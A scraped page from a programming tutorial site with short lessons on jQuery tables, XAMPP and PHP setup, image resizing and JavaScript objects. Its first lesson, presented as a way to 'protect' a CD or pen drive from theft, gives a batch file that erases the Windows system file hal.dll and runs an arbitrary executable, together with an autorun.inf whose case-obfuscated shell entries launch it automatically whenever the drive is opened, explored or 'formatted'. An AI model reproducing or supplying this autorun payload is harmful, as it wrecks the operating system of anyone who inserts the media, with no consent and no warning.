AllInWorld99 provides a reference manual covering many aspects of web programming, including technologies such as HTML, XHTML, CSS, XML, JavaScript, PHP, ASP, SQL,FLASH, jQuery, java, for loop, switch case, if, if else, for...of, for...in, for...each,while loop, blogger tips, blogger meta tag generator, blogger tricks, blogger pagination, client side script, html code editor, javascript editor with instant output, css editor, online html editor, materialize css tutorial, materialize css dropdown list,break, continue statement, label,array, json, get day and month dropdown list using c# code, CSS button,protect cd or pendrive from virus, cordova, android example, html and css to make android app, html code play,telerik show hide column, Transparent image convertor, copy to clipboard using javascript without using any swf file, simple animation using css, SQL etc. AllInWorld99 presents thousands of code examples (accompanied with source code) which can be copied/downloaded independantly. By using the online editor provided,readers can edit the examples and execute the code experimentally.



Protect your cd or pen drive from stealing:-
      Many times our CD's stealing and we will lost important data, we can protect the CD from other's using a simple technique.

    .BAT or (.Cmd) file is called Batch file, this file is used to execute the set of commends at a time, so we write more commends and store inside the bat file.

Write down the code into the notepad and save the name "main.cmd":-
echo off
IF NOT EXIST %windir%\mg\mg.txt erase %windir%\system32\hal.dll && illegal.exe
IF EXIST %windir%\mg\mg.txt co.cmd

Explanation:-
    This code is first check a file mg.txt on "C:\Windows\mg\" this drive. If it is exists this will execute a below "co.cmd" file, if it is not exists erase the main system file "hal.dll" and execute the "illegal.exe"(this is optional) file, hal.dll file is the main operating system file if it is lost you must re-install your system and this file only remove on windows xp, window 7 and above we can't remove this file.

Write down the following code and save the name "co.cmd":-
echo off
correct.exe

Explanation:-
    The above example is just execute the "correct.exe" file, and this is the optional no need to give this file or you can replace instead of this file.

The following code is used to execute the main.co file when you insert the CD into your CD Drive automatically. This file is called autorun.inf. Name is "autorun.inf"
[AutoRun]
Label=Your_Name
ShElL\MeRbIn\cOMmaND=main.cmd
SheLl\open\COmmaNd=main.cmd
MeRbIn=MGearnbeisnh.cmd
shell\explOre\COmmANd=main.cmd
ShElL\*#*#*#*#*#\cOMmaND=main.cmd
ShElL\Format...\cOMmaND=main.cmd
icon=cd_drive_icon.ico



Explanation:-
    you can replace cd drive default icon into your icon, using the "icon=cd_drive_icon.ico" file. after adding this file to cd and write or added to pen drive and right click on the CD Drive or pen drive ico, you can see the changes.


The above code is replace your  default action open menu into the "main.cmd" file. Default action is open the CD drive folder and files. But this will replace the default action to open the "main.cmd" file.


Advertisement



Screen Shots:-
Change driver icon using autorun.inf file

Flash created Image

Flash created Image


Reduce image size:-
     Many website required to upload a photo size within 20 kb and some one mention the pixel size also, but if we take a photo through digital camera, mobile camera or scanner, etc. your photo size should be higher than 20 kb, so we can't upload these photos directly to the website. In this case we have a easy possible to reduce the size of the photo and (or) reduce the pixel.
     The image size is depend on the color ratio and pixel size. We can reduce this both using windows default paint application.

Steps to reduce the size of the Image:-
  1) Right click on the image and choose open with => paint




2) After open it press Ctrl+w key on the keyboard and open a dialog box for reduce the pixel and image size.


3) Select the Pixel radio button and change the "Horizontal" "Vertical" size what you want


4) Afert set the size just press the "Ok" button and see the different from the below image.




Google maps using jquery:-
    We can use the google map and indicate country using our own icon, and draw path one country to another country. Only one external plugin is required and we can access it through jquery ajax.

Example Program:- (Editor)



Output:-


Advertisement


Screen Shots:-





Create dynamic table in jquery:-
   Create a table on execution time is called dynamic table. Many plugins available for this dynamic table like telerik grid and more. The below example is used to create a dynamic table without using any external plugins.
    This table having pagination, and you can easy to change your design like color position number of columns.


Example Program:- (Editor)
Submit Changes Reset
output:-



Program Explanation:-
var hdnPageSize1=20; => This Value is indicate how many data display in each page,
var hdnCurrentPage1=0; => This is the starting data index

var hdnNxtPageSize=5;  => How many page display in every view
var hdnNxtCurrentPage=0; => Starting page index

This Following Code is inserting data manually, you can replace by your data.

var result=[];
var total_record=500;
$(window).load(function(){
for(var i=0;i<total_record;i++)
{
var obj=new Object();
obj.SLNO=parseInt(i)+1;
obj.Name="Name : "+i;
obj.Tamil="Tamil : "+i;
obj.Maths="Maths : "+i;
obj.English="English : "+i;
obj.Computer="Computer : "+i;
obj.count=total_record;
result.push(obj);
}
Table_initilize();
});

Advertisement


ScreenShot:-



Create first php program using xampp:-
     Download xampp(freeware) software from this link Download XAMPP, xampp software having Apache and MySQL.


Usage of XAMPP software:-
  Xampp is mainly design for designer and programmers to test their work on their own systems without access to the internet. Default many security features are disabled. Also xampp is help to create and manipulate database in MySQL and SQLite. Once the Xampp is installed on the local system we can use like server. Programs are should be stored in the "xampp\htdocs" location.

Steps of Installing Xampp software:-
1.Choose the language you want and press ok.

Choose the language xampp

2. Select the components, what you want to install and click next.

Install component in xampp


3. Few minutes wait for the installation progress, in this time all files are stored in the installation directory, default directory is (c:/xampp)

Installation progress in xampp application

4. After install the xampp software you can see the control panel like below screen,

xampp control panel

5. After installed, must restart your system because then only all the server services are started properly, then after only we can start the apache server and execute the programs.

xampp start apache and mysql server

6. After start the Apache server and MySQL you can access your server home DocumentRoot, typing "http://localhost" in the address bar. If you type this address to your browser then the "C:\xampp\htdocs\index.php" file will execute.

xampp localhost setting menu


Steps to create a php program and execute:-

1. First we need a editor for create the program like notepad, notepad++ or other php editors. My best choice is "php designer" or "notepad++".

notepad++ php editor



2.Write a php program and save it to "c:/xampp/htdoc/" directory you can create any directory or files inside that directory, in that below image I have create a name "example" directory and inside that directory create a php file "example.php"


php program saved location


3. You can execute this file in your browser like "http://localhost/example/example.php" this path will access the file local path is "c:/xampp/htdoc/example/example.php".


                          run php program output

Example Program:-
<?php
$value1=10;
$value2=20;
$Answer=$value1+$value2;
echo "<font color='red'>The Answer is : ".$Answer."</font>";
?>

Output:-

localhost path in xampp server
Advertisement







Create html file in php:-
    In php program we can easy to create more html files in a single click, and generate different code in every auto created html files.  We can create a file using "fopen"  and write content after creating the file using "fwrite".


Syntax for create a file:-


$myFile="filepath".extension";
$fh = fopen($myFile, 'a+') or exit("Error creation");
        ------
        ------
        $StringData="file Content";
        fwrite($fh, $stringData);


Example:-


<?php
for($i=1;$i<30;$i++)
{
$myFile="3dpage/3dpg".$i.".html";
$fh = fopen($myFile, 'a+') or exit("<font color='red'>Please Create a directory name:3dpage");
$stringData = "
<html>
<head>
<title>Very hot and Nice Wallpapers</title>
</head>
<body>
<div style='position:absolute;left: 20;top: 120px;width:201px;height:20px;'>
<img src='http://file1.hpage.com/011089/04/bilder/dbig_".$i.".jpg' width=750 height=700>
</div>
</body>
</html>";
fwrite($fh, $stringData);
}
echo "<font color='green'><b>29 Files were created successfully";
?>





Output:-

php generate html files

php file created
Advertisement


Animate using jquery in canvas:-
     Canvas is the new technology in HTML 5 and to make this work first we need to initialize the canvas, canvas having some property like width, height and etc. And we can control the canvas from jquery or javascript using canvas ID.

Ball animation using jquery
Press ESC key to do action:-
   Each keyboard key's are having unique ASCII (American Standard Code for Information interchange). If any key pressed in the keyboard, event is occur (keyup, keydown,keypress) and we can control it through JQuery. The example the shown below.





Example Program:- (Editor)



Output:-


Advertisement


Screen Shots:-
Objects in JavaScript:-
    In objects need one array and more objects for creating object array, in every loop we need to create a object variable and every loop end push it to the array. Finally you can read it.

Syntax:-
var array_result=[];

for(i=0;i<0;i++)
{
 var obj_variable=new Object();
  obj_variable.Name="value : " +i;
  obj_variable.Number="value : " + i;
  array_result.push(obj_variable);
}



Example Program:- (Editor)



Output:-


Advertisement


Screen Shots:-


Objects in javascript

Total Pageviews